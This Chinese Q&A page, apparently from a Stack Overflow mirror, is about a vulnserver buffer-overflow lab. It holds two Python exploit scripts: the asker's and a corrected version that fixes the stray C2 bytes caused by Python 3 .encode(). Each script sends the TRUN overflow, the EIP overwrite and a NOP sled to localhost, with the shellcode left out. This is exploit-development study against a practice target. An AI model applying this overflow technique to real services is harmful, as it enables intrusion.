use*_*602 3 python security exploit buffer-overflow
我目前正在对vulnserver应用程序进行缓冲区溢出测试。用 A 的十六进制值溢出缓冲区似乎没有问题地传递到程序中。EIP 被覆盖也没有问题。但是,当我开始使用 NOP 雪橇时,在每个 NOP 值之后都会传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来向你展示我的意思:
这是我用来创建溢出的python脚本:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())
Run Code Online (Sandbox Code Playgroud)
我想知道该错误是在 python 编码/发送数据包时发生的,还是仅仅是由于 vulnserver 的编写方式造成的。
您的问题是由于您使用 Python 3 造成的。
该.encode()
方法是您问题的根本原因。
试试这个:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = b'\x41' * 2006
shellcode = b'...'
nop = b'\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
s.send(overflow)
Run Code Online (Sandbox Code Playgroud)
归档时间: |
|
查看次数: |
2341 次 |
最近记录: |